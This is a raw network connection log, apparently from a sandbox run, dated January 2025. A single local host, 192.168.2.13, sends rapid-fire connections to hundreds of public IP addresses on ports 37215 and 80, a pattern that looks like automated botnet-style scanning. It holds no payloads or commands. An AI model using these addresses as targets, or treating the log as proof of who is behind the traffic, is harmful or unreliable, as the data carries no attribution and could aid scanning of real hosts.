Jan 5, 2025 14:34:56.982155085 CET	29479	37215	192.168.2.13	41.65.45.150
Jan 5, 2025 14:34:56.982155085 CET	29479	37215	192.168.2.13	41.188.218.33
Jan 5, 2025 14:34:56.982156038 CET	29479	37215	192.168.2.13	156.2.121.75
Jan 5, 2025 14:34:56.982156038 CET	29479	37215	192.168.2.13	156.170.0.107
Jan 5, 2025 14:34:56.982176065 CET	29479	37215	192.168.2.13	156.88.148.67
Jan 5, 2025 14:34:56.982178926 CET	29479	37215	192.168.2.13	41.148.31.241
Jan 5, 2025 14:34:56.982187033 CET	29479	37215	192.168.2.13	197.120.245.2
Jan 5, 2025 14:34:56.982189894 CET	29479	37215	192.168.2.13	156.116.44.5
Jan 5, 2025 14:34:56.982189894 CET	29479	37215	192.168.2.13	197.250.16.134
Jan 5, 2025 14:34:56.982192993 CET	29479	37215	192.168.2.13	156.104.121.42
Jan 5, 2025 14:34:56.982192993 CET	29479	37215	192.168.2.13	197.228.219.222
Jan 5, 2025 14:34:56.982194901 CET	29479	37215	192.168.2.13	197.109.196.158
Jan 5, 2025 14:34:56.982194901 CET	29479	37215	192.168.2.13	197.14.140.242
Jan 5, 2025 14:34:56.982204914 CET	29479	37215	192.168.2.13	41.8.134.213
Jan 5, 2025 14:34:56.982208967 CET	29479	37215	192.168.2.13	41.83.107.204
Jan 5, 2025 14:34:56.982215881 CET	29479	37215	192.168.2.13	41.239.107.43
Jan 5, 2025 14:34:56.982227087 CET	29479	37215	192.168.2.13	197.230.174.224
Jan 5, 2025 14:34:56.982227087 CET	29479	37215	192.168.2.13	41.148.72.58
Jan 5, 2025 14:34:56.982234001 CET	29479	37215	192.168.2.13	197.8.103.209
Jan 5, 2025 14:34:56.982234001 CET	29479	37215	192.168.2.13	197.167.140.62
Jan 5, 2025 14:34:56.982234955 CET	29479	37215	192.168.2.13	156.81.34.174
Jan 5, 2025 14:34:56.982244015 CET	29479	37215	192.168.2.13	156.75.92.255
Jan 5, 2025 14:34:56.982250929 CET	29479	37215	192.168.2.13	156.222.89.222
Jan 5, 2025 14:34:56.982265949 CET	29479	37215	192.168.2.13	156.179.125.67
Jan 5, 2025 14:34:56.982274055 CET	29479	37215	192.168.2.13	41.183.33.98
Jan 5, 2025 14:34:56.982274055 CET	29479	37215	192.168.2.13	156.93.9.24
Jan 5, 2025 14:34:56.982275009 CET	29479	37215	192.168.2.13	41.189.8.63
Jan 5, 2025 14:34:56.982275963 CET	29479	37215	192.168.2.13	197.195.53.79
Jan 5, 2025 14:34:56.982278109 CET	29479	37215	192.168.2.13	41.232.190.152
Jan 5, 2025 14:34:56.982278109 CET	29479	37215	192.168.2.13	41.86.182.72
Jan 5, 2025 14:34:56.982278109 CET	29479	37215	192.168.2.13	41.4.23.136
Jan 5, 2025 14:34:56.982280016 CET	29479	37215	192.168.2.13	41.226.228.81
Jan 5, 2025 14:34:56.982280016 CET	29479	37215	192.168.2.13	156.245.3.27
Jan 5, 2025 14:34:56.982287884 CET	29479	37215	192.168.2.13	197.220.139.72
Jan 5, 2025 14:34:56.982287884 CET	29479	37215	192.168.2.13	41.55.32.141
Jan 5, 2025 14:34:56.982287884 CET	29479	37215	192.168.2.13	156.201.110.91
Jan 5, 2025 14:34:56.982291937 CET	29479	37215	192.168.2.13	197.36.15.198
Jan 5, 2025 14:34:56.982291937 CET	29479	37215	192.168.2.13	156.242.191.241
Jan 5, 2025 14:34:56.982295990 CET	29479	37215	192.168.2.13	156.209.164.198
Jan 5, 2025 14:34:56.982301950 CET	29479	37215	192.168.2.13	41.232.156.207
Jan 5, 2025 14:34:56.982304096 CET	29479	37215	192.168.2.13	41.9.90.224
Jan 5, 2025 14:34:56.982306004 CET	29479	37215	192.168.2.13	41.170.208.187
Jan 5, 2025 14:34:56.982309103 CET	29479	37215	192.168.2.13	156.109.181.42
Jan 5, 2025 14:34:56.982331038 CET	29479	37215	192.168.2.13	156.202.124.148
Jan 5, 2025 14:34:56.982336998 CET	29479	37215	192.168.2.13	197.220.124.150
Jan 5, 2025 14:34:56.985958099 CET	37215	29479	156.245.141.198	192.168.2.13
Jan 5, 2025 14:34:56.985969067 CET	37215	29479	197.159.178.158	192.168.2.13
Jan 5, 2025 14:34:56.985977888 CET	37215	29479	156.241.244.77	192.168.2.13
Jan 5, 2025 14:34:56.985986948 CET	37215	29479	197.37.180.192	192.168.2.13
Jan 5, 2025 14:34:56.985996008 CET	37215	29479	156.83.20.178	192.168.2.13
Jan 5, 2025 14:34:56.986002922 CET	29479	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:34:56.986005068 CET	37215	29479	156.156.184.103	192.168.2.13
Jan 5, 2025 14:34:56.986007929 CET	29479	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:34:56.986012936 CET	29479	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:34:56.986012936 CET	37215	29479	41.245.158.70	192.168.2.13
Jan 5, 2025 14:34:56.986021042 CET	29479	37215	192.168.2.13	156.83.20.178
Jan 5, 2025 14:34:56.986022949 CET	37215	29479	197.114.161.87	192.168.2.13
Jan 5, 2025 14:34:56.986028910 CET	29479	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:34:56.986032009 CET	37215	29479	156.135.244.57	192.168.2.13
Jan 5, 2025 14:34:56.986040115 CET	37215	29479	197.97.57.117	192.168.2.13
Jan 5, 2025 14:34:56.986042976 CET	29479	37215	192.168.2.13	156.156.184.103
Jan 5, 2025 14:34:56.986047029 CET	29479	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:34:56.986048937 CET	37215	43894	156.40.240.210	192.168.2.13
Jan 5, 2025 14:34:56.986061096 CET	29479	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:34:56.986061096 CET	29479	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:56.986068964 CET	29479	37215	192.168.2.13	156.135.244.57
Jan 5, 2025 14:34:56.986078978 CET	43894	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:56.986449957 CET	37215	29479	156.250.252.39	192.168.2.13
Jan 5, 2025 14:34:56.986459970 CET	37215	29479	156.181.100.88	192.168.2.13
Jan 5, 2025 14:34:56.986469030 CET	37215	29479	197.79.21.61	192.168.2.13
Jan 5, 2025 14:34:56.986476898 CET	37215	29479	197.58.3.169	192.168.2.13
Jan 5, 2025 14:34:56.986481905 CET	29479	37215	192.168.2.13	156.250.252.39
Jan 5, 2025 14:34:56.986485958 CET	37215	29479	156.89.199.243	192.168.2.13
Jan 5, 2025 14:34:56.986495018 CET	29479	37215	192.168.2.13	156.181.100.88
Jan 5, 2025 14:34:56.986495018 CET	37215	29479	41.6.205.19	192.168.2.13
Jan 5, 2025 14:34:56.986495972 CET	29479	37215	192.168.2.13	197.58.3.169
Jan 5, 2025 14:34:56.986495972 CET	29479	37215	192.168.2.13	197.79.21.61
Jan 5, 2025 14:34:56.986506939 CET	37215	29479	197.248.33.225	192.168.2.13
Jan 5, 2025 14:34:56.986515045 CET	29479	37215	192.168.2.13	156.89.199.243
Jan 5, 2025 14:34:56.986515045 CET	37215	29479	41.242.75.188	192.168.2.13
Jan 5, 2025 14:34:56.986524105 CET	37215	29479	156.83.147.79	192.168.2.13
Jan 5, 2025 14:34:56.986530066 CET	29479	37215	192.168.2.13	41.6.205.19
Jan 5, 2025 14:34:56.986531973 CET	37215	29479	197.207.91.55	192.168.2.13
Jan 5, 2025 14:34:56.986532927 CET	29479	37215	192.168.2.13	197.248.33.225
Jan 5, 2025 14:34:56.986537933 CET	29479	37215	192.168.2.13	41.242.75.188
Jan 5, 2025 14:34:56.986542940 CET	37215	29479	156.9.210.78	192.168.2.13
Jan 5, 2025 14:34:56.986552000 CET	37215	29479	156.28.229.241	192.168.2.13
Jan 5, 2025 14:34:56.986552954 CET	29479	37215	192.168.2.13	156.83.147.79
Jan 5, 2025 14:34:56.986565113 CET	29479	37215	192.168.2.13	197.207.91.55
Jan 5, 2025 14:34:56.986568928 CET	37215	29479	156.156.80.80	192.168.2.13
Jan 5, 2025 14:34:56.986573935 CET	29479	37215	192.168.2.13	156.9.210.78
Jan 5, 2025 14:34:56.986577988 CET	29479	37215	192.168.2.13	156.28.229.241
Jan 5, 2025 14:34:56.986578941 CET	37215	29479	197.48.124.158	192.168.2.13
Jan 5, 2025 14:34:56.986588955 CET	37215	29479	41.99.15.83	192.168.2.13
Jan 5, 2025 14:34:56.986596107 CET	29479	37215	192.168.2.13	156.156.80.80
Jan 5, 2025 14:34:56.986598015 CET	37215	29479	197.62.144.198	192.168.2.13
Jan 5, 2025 14:34:56.986603975 CET	29479	37215	192.168.2.13	197.48.124.158
Jan 5, 2025 14:34:56.986607075 CET	37215	29479	156.213.81.209	192.168.2.13
Jan 5, 2025 14:34:56.986615896 CET	37215	29479	197.235.84.193	192.168.2.13
Jan 5, 2025 14:34:56.986618042 CET	29479	37215	192.168.2.13	197.62.144.198
Jan 5, 2025 14:34:56.986618996 CET	29479	37215	192.168.2.13	41.99.15.83
Jan 5, 2025 14:34:56.986624956 CET	37215	29479	41.198.56.163	192.168.2.13
Jan 5, 2025 14:34:56.986632109 CET	29479	37215	192.168.2.13	156.213.81.209
Jan 5, 2025 14:34:56.986634016 CET	37215	29479	156.148.195.46	192.168.2.13
Jan 5, 2025 14:34:56.986643076 CET	37215	29479	156.174.170.104	192.168.2.13
Jan 5, 2025 14:34:56.986648083 CET	29479	37215	192.168.2.13	197.235.84.193
Jan 5, 2025 14:34:56.986650944 CET	29479	37215	192.168.2.13	41.198.56.163
Jan 5, 2025 14:34:56.986650944 CET	37215	29479	156.134.235.140	192.168.2.13
Jan 5, 2025 14:34:56.986660004 CET	37215	29479	197.175.220.124	192.168.2.13
Jan 5, 2025 14:34:56.986668110 CET	37215	29479	41.246.117.207	192.168.2.13
Jan 5, 2025 14:34:56.986669064 CET	29479	37215	192.168.2.13	156.148.195.46
Jan 5, 2025 14:34:56.986670971 CET	29479	37215	192.168.2.13	156.174.170.104
Jan 5, 2025 14:34:56.986676931 CET	37215	29479	41.143.47.54	192.168.2.13
Jan 5, 2025 14:34:56.986680984 CET	29479	37215	192.168.2.13	156.134.235.140
Jan 5, 2025 14:34:56.986684084 CET	29479	37215	192.168.2.13	197.175.220.124
Jan 5, 2025 14:34:56.986685991 CET	37215	29479	156.189.69.239	192.168.2.13
Jan 5, 2025 14:34:56.986696005 CET	37215	29479	156.117.234.170	192.168.2.13
Jan 5, 2025 14:34:56.986696005 CET	29479	37215	192.168.2.13	41.246.117.207
Jan 5, 2025 14:34:56.986701965 CET	29479	37215	192.168.2.13	41.143.47.54
Jan 5, 2025 14:34:56.986705065 CET	37215	29479	197.235.112.122	192.168.2.13
Jan 5, 2025 14:34:56.986713886 CET	37215	29479	197.253.42.3	192.168.2.13
Jan 5, 2025 14:34:56.986716032 CET	29479	37215	192.168.2.13	156.189.69.239
Jan 5, 2025 14:34:56.986723900 CET	37215	29479	41.225.46.131	192.168.2.13
Jan 5, 2025 14:34:56.986723900 CET	29479	37215	192.168.2.13	156.117.234.170
Jan 5, 2025 14:34:56.986732960 CET	37215	29479	41.225.42.247	192.168.2.13
Jan 5, 2025 14:34:56.986738920 CET	29479	37215	192.168.2.13	197.235.112.122
Jan 5, 2025 14:34:56.986742973 CET	37215	29479	41.37.149.109	192.168.2.13
Jan 5, 2025 14:34:56.986745119 CET	29479	37215	192.168.2.13	197.253.42.3
Jan 5, 2025 14:34:56.986752033 CET	37215	29479	197.243.204.4	192.168.2.13
Jan 5, 2025 14:34:56.986754894 CET	29479	37215	192.168.2.13	41.225.42.247
Jan 5, 2025 14:34:56.986756086 CET	29479	37215	192.168.2.13	41.225.46.131
Jan 5, 2025 14:34:56.986761093 CET	37215	29479	156.81.175.247	192.168.2.13
Jan 5, 2025 14:34:56.986768007 CET	29479	37215	192.168.2.13	41.37.149.109
Jan 5, 2025 14:34:56.986771107 CET	37215	29479	156.225.151.83	192.168.2.13
Jan 5, 2025 14:34:56.986778021 CET	37215	29479	41.198.247.116	192.168.2.13
Jan 5, 2025 14:34:56.986782074 CET	37215	29479	41.254.227.229	192.168.2.13
Jan 5, 2025 14:34:56.986782074 CET	29479	37215	192.168.2.13	197.243.204.4
Jan 5, 2025 14:34:56.986789942 CET	37215	29479	197.113.242.34	192.168.2.13
Jan 5, 2025 14:34:56.986804008 CET	29479	37215	192.168.2.13	156.81.175.247
Jan 5, 2025 14:34:56.986804962 CET	29479	37215	192.168.2.13	156.225.151.83
Jan 5, 2025 14:34:56.986814976 CET	29479	37215	192.168.2.13	41.198.247.116
Jan 5, 2025 14:34:56.986819983 CET	29479	37215	192.168.2.13	41.254.227.229
Jan 5, 2025 14:34:56.986829042 CET	29479	37215	192.168.2.13	197.113.242.34
Jan 5, 2025 14:34:57.008146048 CET	45176	80	192.168.2.13	202.226.133.66
Jan 5, 2025 14:34:57.008148909 CET	42786	37215	192.168.2.13	197.235.231.188
Jan 5, 2025 14:34:57.008152962 CET	52808	37215	192.168.2.13	41.77.204.216
Jan 5, 2025 14:34:57.012974977 CET	80	45176	202.226.133.66	192.168.2.13
Jan 5, 2025 14:34:57.013020039 CET	45176	80	192.168.2.13	202.226.133.66
Jan 5, 2025 14:34:57.013032913 CET	37215	42786	197.235.231.188	192.168.2.13
Jan 5, 2025 14:34:57.013044119 CET	37215	52808	41.77.204.216	192.168.2.13
Jan 5, 2025 14:34:57.013077021 CET	42786	37215	192.168.2.13	197.235.231.188
Jan 5, 2025 14:34:57.013077974 CET	52808	37215	192.168.2.13	41.77.204.216
Jan 5, 2025 14:34:57.013092041 CET	45176	80	192.168.2.13	202.226.133.66
Jan 5, 2025 14:34:57.013113022 CET	29477	80	192.168.2.13	169.249.35.104
Jan 5, 2025 14:34:57.013124943 CET	29477	80	192.168.2.13	207.216.229.65
Jan 5, 2025 14:34:57.013139963 CET	29477	80	192.168.2.13	220.16.33.59
Jan 5, 2025 14:34:57.013139963 CET	29477	80	192.168.2.13	102.74.188.134
Jan 5, 2025 14:34:57.013143063 CET	52808	37215	192.168.2.13	41.77.204.216
Jan 5, 2025 14:34:57.013144016 CET	29477	80	192.168.2.13	136.140.1.78
Jan 5, 2025 14:34:57.013147116 CET	42786	37215	192.168.2.13	197.235.231.188
Jan 5, 2025 14:34:57.013149023 CET	29477	80	192.168.2.13	113.249.121.18
Jan 5, 2025 14:34:57.013153076 CET	29477	80	192.168.2.13	59.27.184.131
Jan 5, 2025 14:34:57.013164997 CET	29477	80	192.168.2.13	210.217.213.187
Jan 5, 2025 14:34:57.013176918 CET	29477	80	192.168.2.13	50.123.6.196
Jan 5, 2025 14:34:57.013187885 CET	29477	80	192.168.2.13	69.11.180.103
Jan 5, 2025 14:34:57.013187885 CET	29477	80	192.168.2.13	50.255.80.49
Jan 5, 2025 14:34:57.013202906 CET	29477	80	192.168.2.13	218.39.62.86
Jan 5, 2025 14:34:57.013219118 CET	29477	80	192.168.2.13	223.217.220.206
Jan 5, 2025 14:34:57.013221979 CET	29477	80	192.168.2.13	90.149.245.198
Jan 5, 2025 14:34:57.013221979 CET	29477	80	192.168.2.13	153.78.125.75
Jan 5, 2025 14:34:57.013236046 CET	29477	80	192.168.2.13	107.197.146.211
Jan 5, 2025 14:34:57.013238907 CET	29477	80	192.168.2.13	134.163.148.17
Jan 5, 2025 14:34:57.013252020 CET	29477	80	192.168.2.13	200.89.212.221
Jan 5, 2025 14:34:57.013252974 CET	29477	80	192.168.2.13	160.161.138.185
Jan 5, 2025 14:34:57.013267994 CET	29477	80	192.168.2.13	163.187.15.69
Jan 5, 2025 14:34:57.013278961 CET	29477	80	192.168.2.13	119.248.8.130
Jan 5, 2025 14:34:57.013281107 CET	29477	80	192.168.2.13	180.64.79.55
Jan 5, 2025 14:34:57.013288021 CET	29477	80	192.168.2.13	111.40.158.96
Jan 5, 2025 14:34:57.013288021 CET	29477	80	192.168.2.13	139.145.152.11
Jan 5, 2025 14:34:57.013303041 CET	29477	80	192.168.2.13	184.208.219.186
Jan 5, 2025 14:34:57.013314009 CET	29477	80	192.168.2.13	82.78.184.202
Jan 5, 2025 14:34:57.013319969 CET	29477	80	192.168.2.13	199.178.67.63
Jan 5, 2025 14:34:57.013334990 CET	29477	80	192.168.2.13	184.40.102.46
Jan 5, 2025 14:34:57.013339043 CET	29477	80	192.168.2.13	136.83.196.152
Jan 5, 2025 14:34:57.013350964 CET	29477	80	192.168.2.13	174.96.179.24
Jan 5, 2025 14:34:57.013362885 CET	29477	80	192.168.2.13	14.114.179.225
Jan 5, 2025 14:34:57.013367891 CET	29477	80	192.168.2.13	120.188.7.73
Jan 5, 2025 14:34:57.013380051 CET	29477	80	192.168.2.13	107.194.40.6
Jan 5, 2025 14:34:57.013389111 CET	29477	80	192.168.2.13	162.124.204.40
Jan 5, 2025 14:34:57.013397932 CET	29477	80	192.168.2.13	98.113.82.155
Jan 5, 2025 14:34:57.013402939 CET	29477	80	192.168.2.13	117.129.174.107
Jan 5, 2025 14:34:57.013413906 CET	29477	80	192.168.2.13	71.38.156.246
Jan 5, 2025 14:34:57.013422966 CET	29477	80	192.168.2.13	184.187.169.175
Jan 5, 2025 14:34:57.013437033 CET	29477	80	192.168.2.13	223.177.195.42
Jan 5, 2025 14:34:57.013442039 CET	29477	80	192.168.2.13	205.182.96.225
Jan 5, 2025 14:34:57.013442039 CET	29477	80	192.168.2.13	136.170.188.59
Jan 5, 2025 14:34:57.013463974 CET	29477	80	192.168.2.13	58.152.134.80
Jan 5, 2025 14:34:57.013463974 CET	29477	80	192.168.2.13	49.226.250.190
Jan 5, 2025 14:34:57.013473034 CET	29477	80	192.168.2.13	112.200.24.158
Jan 5, 2025 14:34:57.013479948 CET	29477	80	192.168.2.13	135.44.0.20
Jan 5, 2025 14:34:57.013490915 CET	29477	80	192.168.2.13	155.66.161.216
Jan 5, 2025 14:34:57.013497114 CET	29477	80	192.168.2.13	217.65.111.169
Jan 5, 2025 14:34:57.013509989 CET	29477	80	192.168.2.13	104.231.136.105
Jan 5, 2025 14:34:57.013518095 CET	29477	80	192.168.2.13	51.64.95.247
Jan 5, 2025 14:34:57.013526917 CET	29477	80	192.168.2.13	45.36.16.28
Jan 5, 2025 14:34:57.013531923 CET	29477	80	192.168.2.13	92.125.128.88
Jan 5, 2025 14:34:57.013539076 CET	29477	80	192.168.2.13	76.157.79.158
Jan 5, 2025 14:34:57.013549089 CET	29477	80	192.168.2.13	75.177.239.15
Jan 5, 2025 14:34:57.013561964 CET	29477	80	192.168.2.13	92.99.85.241
Jan 5, 2025 14:34:57.013566017 CET	29477	80	192.168.2.13	141.26.6.167
Jan 5, 2025 14:34:57.013576031 CET	29477	80	192.168.2.13	172.178.92.194
Jan 5, 2025 14:34:57.013580084 CET	29477	80	192.168.2.13	78.152.189.164
Jan 5, 2025 14:34:57.013592005 CET	29477	80	192.168.2.13	188.219.54.224
Jan 5, 2025 14:34:57.013600111 CET	29477	80	192.168.2.13	197.18.253.90
Jan 5, 2025 14:34:57.013603926 CET	29477	80	192.168.2.13	72.203.88.13
Jan 5, 2025 14:34:57.013616085 CET	29477	80	192.168.2.13	12.54.52.249
Jan 5, 2025 14:34:57.013638020 CET	29477	80	192.168.2.13	150.89.238.65
Jan 5, 2025 14:34:57.013643026 CET	29477	80	192.168.2.13	75.8.139.57
Jan 5, 2025 14:34:57.013655901 CET	29477	80	192.168.2.13	54.217.144.0
Jan 5, 2025 14:34:57.013658047 CET	29477	80	192.168.2.13	19.45.234.189
Jan 5, 2025 14:34:57.013668060 CET	29477	80	192.168.2.13	37.77.206.152
Jan 5, 2025 14:34:57.013673067 CET	29477	80	192.168.2.13	218.113.157.69
Jan 5, 2025 14:34:57.013679028 CET	29477	80	192.168.2.13	50.251.161.58
Jan 5, 2025 14:34:57.013685942 CET	29477	80	192.168.2.13	35.101.70.167
Jan 5, 2025 14:34:57.013691902 CET	29477	80	192.168.2.13	102.204.77.35
Jan 5, 2025 14:34:57.013699055 CET	29477	80	192.168.2.13	66.98.41.96
Jan 5, 2025 14:34:57.013705015 CET	29477	80	192.168.2.13	115.135.116.90
Jan 5, 2025 14:34:57.013717890 CET	29477	80	192.168.2.13	139.48.201.164
Jan 5, 2025 14:34:57.013719082 CET	29477	80	192.168.2.13	205.210.1.220
Jan 5, 2025 14:34:57.013727903 CET	29477	80	192.168.2.13	73.183.170.138
Jan 5, 2025 14:34:57.013736010 CET	29477	80	192.168.2.13	128.204.74.33
Jan 5, 2025 14:34:57.013747931 CET	29477	80	192.168.2.13	77.38.18.67
Jan 5, 2025 14:34:57.013753891 CET	29477	80	192.168.2.13	182.120.17.117
Jan 5, 2025 14:34:57.013761997 CET	29477	80	192.168.2.13	88.37.0.117
Jan 5, 2025 14:34:57.013777018 CET	29477	80	192.168.2.13	47.154.74.225
Jan 5, 2025 14:34:57.013780117 CET	29477	80	192.168.2.13	87.228.222.49
Jan 5, 2025 14:34:57.013792992 CET	29477	80	192.168.2.13	50.167.53.192
Jan 5, 2025 14:34:57.013803959 CET	29477	80	192.168.2.13	118.22.30.251
Jan 5, 2025 14:34:57.013811111 CET	29477	80	192.168.2.13	47.37.178.148
Jan 5, 2025 14:34:57.013818979 CET	29477	80	192.168.2.13	41.114.148.240
Jan 5, 2025 14:34:57.013822079 CET	29477	80	192.168.2.13	35.136.132.27
Jan 5, 2025 14:34:57.013835907 CET	29477	80	192.168.2.13	120.150.161.186
Jan 5, 2025 14:34:57.013844013 CET	29477	80	192.168.2.13	2.179.25.200
Jan 5, 2025 14:34:57.013844013 CET	29477	80	192.168.2.13	174.245.150.209
Jan 5, 2025 14:34:57.013854027 CET	29477	80	192.168.2.13	200.15.182.143
Jan 5, 2025 14:34:57.013866901 CET	29477	80	192.168.2.13	77.251.192.27
Jan 5, 2025 14:34:57.013878107 CET	29477	80	192.168.2.13	216.232.255.63
Jan 5, 2025 14:34:57.013883114 CET	29477	80	192.168.2.13	218.90.165.180
Jan 5, 2025 14:34:57.013894081 CET	29477	80	192.168.2.13	141.46.237.55
Jan 5, 2025 14:34:57.013900995 CET	29477	80	192.168.2.13	79.20.37.31
Jan 5, 2025 14:34:57.013902903 CET	29477	80	192.168.2.13	139.128.40.19
Jan 5, 2025 14:34:57.013916016 CET	29477	80	192.168.2.13	159.159.127.226
Jan 5, 2025 14:34:57.013923883 CET	29477	80	192.168.2.13	98.139.107.130
Jan 5, 2025 14:34:57.013935089 CET	29477	80	192.168.2.13	27.131.231.50
Jan 5, 2025 14:34:57.013945103 CET	29477	80	192.168.2.13	65.227.99.186
Jan 5, 2025 14:34:57.013957977 CET	29477	80	192.168.2.13	157.51.4.75
Jan 5, 2025 14:34:57.013962030 CET	29477	80	192.168.2.13	198.0.122.224
Jan 5, 2025 14:34:57.013976097 CET	29477	80	192.168.2.13	88.215.111.99
Jan 5, 2025 14:34:57.013983011 CET	29477	80	192.168.2.13	12.191.34.34
Jan 5, 2025 14:34:57.013993025 CET	29477	80	192.168.2.13	41.168.59.218
Jan 5, 2025 14:34:57.013997078 CET	29477	80	192.168.2.13	180.11.80.136
Jan 5, 2025 14:34:57.014008045 CET	29477	80	192.168.2.13	208.79.22.211
Jan 5, 2025 14:34:57.014018059 CET	29477	80	192.168.2.13	34.11.53.140
Jan 5, 2025 14:34:57.014022112 CET	29477	80	192.168.2.13	149.197.161.103
Jan 5, 2025 14:34:57.014035940 CET	29477	80	192.168.2.13	73.10.53.66
Jan 5, 2025 14:34:57.014039993 CET	29477	80	192.168.2.13	203.194.46.110
Jan 5, 2025 14:34:57.014055967 CET	29477	80	192.168.2.13	89.143.222.9
Jan 5, 2025 14:34:57.014061928 CET	29477	80	192.168.2.13	97.137.116.71
Jan 5, 2025 14:34:57.014074087 CET	29477	80	192.168.2.13	94.75.29.58
Jan 5, 2025 14:34:57.014074087 CET	29477	80	192.168.2.13	25.178.254.160
Jan 5, 2025 14:34:57.014086962 CET	29477	80	192.168.2.13	145.152.28.59
Jan 5, 2025 14:34:57.014096975 CET	29477	80	192.168.2.13	197.218.167.184
Jan 5, 2025 14:34:57.014107943 CET	29477	80	192.168.2.13	14.22.83.215
Jan 5, 2025 14:34:57.014117956 CET	29477	80	192.168.2.13	54.235.171.90
Jan 5, 2025 14:34:57.014117956 CET	29477	80	192.168.2.13	37.208.254.132
Jan 5, 2025 14:34:57.014127016 CET	29477	80	192.168.2.13	208.27.197.24
Jan 5, 2025 14:34:57.014139891 CET	29477	80	192.168.2.13	174.27.89.3
Jan 5, 2025 14:34:57.014142990 CET	29477	80	192.168.2.13	162.28.26.165
Jan 5, 2025 14:34:57.014153957 CET	29477	80	192.168.2.13	149.151.101.155
Jan 5, 2025 14:34:57.014164925 CET	29477	80	192.168.2.13	220.192.199.56
Jan 5, 2025 14:34:57.014177084 CET	29477	80	192.168.2.13	142.68.18.140
Jan 5, 2025 14:34:57.014178038 CET	29477	80	192.168.2.13	220.216.106.174
Jan 5, 2025 14:34:57.014189005 CET	29477	80	192.168.2.13	1.106.202.110
Jan 5, 2025 14:34:57.014195919 CET	29477	80	192.168.2.13	117.174.147.87
Jan 5, 2025 14:34:57.014205933 CET	29477	80	192.168.2.13	153.211.128.9
Jan 5, 2025 14:34:57.014209032 CET	29477	80	192.168.2.13	50.103.193.88
Jan 5, 2025 14:34:57.014211893 CET	29477	80	192.168.2.13	196.183.250.152
Jan 5, 2025 14:34:57.014221907 CET	29477	80	192.168.2.13	146.39.98.153
Jan 5, 2025 14:34:57.014225960 CET	29477	80	192.168.2.13	203.72.32.16
Jan 5, 2025 14:34:57.014241934 CET	29477	80	192.168.2.13	217.177.52.27
Jan 5, 2025 14:34:57.014247894 CET	29477	80	192.168.2.13	112.21.249.24
Jan 5, 2025 14:34:57.014257908 CET	29477	80	192.168.2.13	60.58.202.39
Jan 5, 2025 14:34:57.014277935 CET	29477	80	192.168.2.13	174.217.179.150
Jan 5, 2025 14:34:57.014278889 CET	29477	80	192.168.2.13	199.166.224.192
Jan 5, 2025 14:34:57.014286041 CET	29477	80	192.168.2.13	187.76.140.132
Jan 5, 2025 14:34:57.014295101 CET	29477	80	192.168.2.13	212.22.135.21
Jan 5, 2025 14:34:57.014302015 CET	29477	80	192.168.2.13	218.53.43.136
Jan 5, 2025 14:34:57.014308929 CET	29477	80	192.168.2.13	195.176.245.215
Jan 5, 2025 14:34:57.014322996 CET	29477	80	192.168.2.13	136.25.224.74
Jan 5, 2025 14:34:57.014322996 CET	29477	80	192.168.2.13	180.178.244.131
Jan 5, 2025 14:34:57.014329910 CET	29477	80	192.168.2.13	221.64.72.241
Jan 5, 2025 14:34:57.014353037 CET	29477	80	192.168.2.13	166.13.87.197
Jan 5, 2025 14:34:57.014365911 CET	29477	80	192.168.2.13	142.165.93.188
Jan 5, 2025 14:34:57.014374018 CET	29477	80	192.168.2.13	9.223.121.161
Jan 5, 2025 14:34:57.014379025 CET	29477	80	192.168.2.13	208.240.228.253
Jan 5, 2025 14:34:57.014396906 CET	29477	80	192.168.2.13	113.174.6.184
Jan 5, 2025 14:34:57.014400959 CET	29477	80	192.168.2.13	211.184.252.236
Jan 5, 2025 14:34:57.014410019 CET	29477	80	192.168.2.13	75.120.92.224
Jan 5, 2025 14:34:57.014419079 CET	29477	80	192.168.2.13	74.165.161.165
Jan 5, 2025 14:34:57.014425993 CET	29477	80	192.168.2.13	202.226.177.111
Jan 5, 2025 14:34:57.014429092 CET	29477	80	192.168.2.13	108.232.151.129
Jan 5, 2025 14:34:57.014442921 CET	29477	80	192.168.2.13	78.48.203.149
Jan 5, 2025 14:34:57.014452934 CET	29477	80	192.168.2.13	190.163.237.6
Jan 5, 2025 14:34:57.014463902 CET	29477	80	192.168.2.13	70.154.104.191
Jan 5, 2025 14:34:57.014470100 CET	29477	80	192.168.2.13	80.26.130.116
Jan 5, 2025 14:34:57.014476061 CET	29477	80	192.168.2.13	95.56.216.144
Jan 5, 2025 14:34:57.014491081 CET	29477	80	192.168.2.13	194.105.245.38
Jan 5, 2025 14:34:57.014502048 CET	29477	80	192.168.2.13	52.159.127.154
Jan 5, 2025 14:34:57.014511108 CET	29477	80	192.168.2.13	98.151.93.24
Jan 5, 2025 14:34:57.014511108 CET	29477	80	192.168.2.13	59.83.223.35
Jan 5, 2025 14:34:57.014522076 CET	29477	80	192.168.2.13	156.155.0.232
Jan 5, 2025 14:34:57.014524937 CET	29477	80	192.168.2.13	155.175.222.166
Jan 5, 2025 14:34:57.014529943 CET	29477	80	192.168.2.13	204.229.184.193
Jan 5, 2025 14:34:57.014547110 CET	29477	80	192.168.2.13	210.91.201.137
Jan 5, 2025 14:34:57.014550924 CET	29477	80	192.168.2.13	203.94.40.39
Jan 5, 2025 14:34:57.014559031 CET	29477	80	192.168.2.13	119.63.209.177
Jan 5, 2025 14:34:57.014568090 CET	29477	80	192.168.2.13	17.246.210.87
Jan 5, 2025 14:34:57.014580011 CET	29477	80	192.168.2.13	2.26.166.64
Jan 5, 2025 14:34:57.014586926 CET	29477	80	192.168.2.13	206.105.196.197
Jan 5, 2025 14:34:57.014599085 CET	29477	80	192.168.2.13	146.104.176.173
Jan 5, 2025 14:34:57.014610052 CET	29477	80	192.168.2.13	103.60.224.201
Jan 5, 2025 14:34:57.014616966 CET	29477	80	192.168.2.13	63.75.155.92
Jan 5, 2025 14:34:57.014626980 CET	29477	80	192.168.2.13	103.156.17.10
Jan 5, 2025 14:34:57.014637947 CET	29477	80	192.168.2.13	179.57.16.186
Jan 5, 2025 14:34:57.014648914 CET	29477	80	192.168.2.13	142.214.178.42
Jan 5, 2025 14:34:57.014658928 CET	29477	80	192.168.2.13	24.119.227.143
Jan 5, 2025 14:34:57.014664888 CET	29477	80	192.168.2.13	198.145.169.171
